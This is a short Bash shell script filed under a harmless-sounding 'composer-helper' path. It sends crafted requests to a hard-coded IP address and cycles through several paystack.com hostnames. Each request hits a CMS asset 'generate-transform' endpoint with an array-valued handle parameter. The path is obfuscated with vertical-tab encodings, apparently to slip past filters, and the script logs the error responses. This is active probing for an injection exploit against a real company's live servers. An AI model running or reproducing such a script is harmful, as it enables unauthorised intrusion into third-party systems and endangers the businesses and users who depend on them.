composer-helper/vh3.sh
2026-10-22 15:12:34 +00:00

17 lines
892 B
Bash

#!/bin/sh
# vhost drill: JSON-visible errors for generate-transform array handle per host.
IP=52.51.74.51
N=0
gt() {
N=$((N+1)); hf=/tmp/gh.$N; f=/tmp/gt.$N
c=$(curl -sk -m 10 -D "$hf" -o "$f" -w '%{http_code}' -H "Host: $1" -H 'Accept: application/json' -H 'Content-Type: application/x-www-form-urlencoded' --data "assetId=$2&handle%5Bwidth%5D=1&handle%5Bheight%5D=1" "https://$IP/?p=act%0bions/assets/generate-trans%0bform" 2>/dev/null)
lo=$(grep -i '^location:' "$hf" 2>/dev/null | tr -d '\r')
echo "G|$1|$2|$c|$lo|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-150)"
}
for h in paystack.com dr.paystack.com blog.paystack.com beta.paystack.com website.production.paystack.co; do
gt "$h" 96
gt "$h" 1
done
echo "B96|$(grep -o 'Invalid asset ID[^<]*' /tmp/g.1 2>/dev/null | head -1)"
echo "BH|$(sed 's/<[^>]*>/ /g' /tmp/g.1 2>/dev/null | tr -s ' \n\r' ' ' | cut -c1-240)"
echo DONE3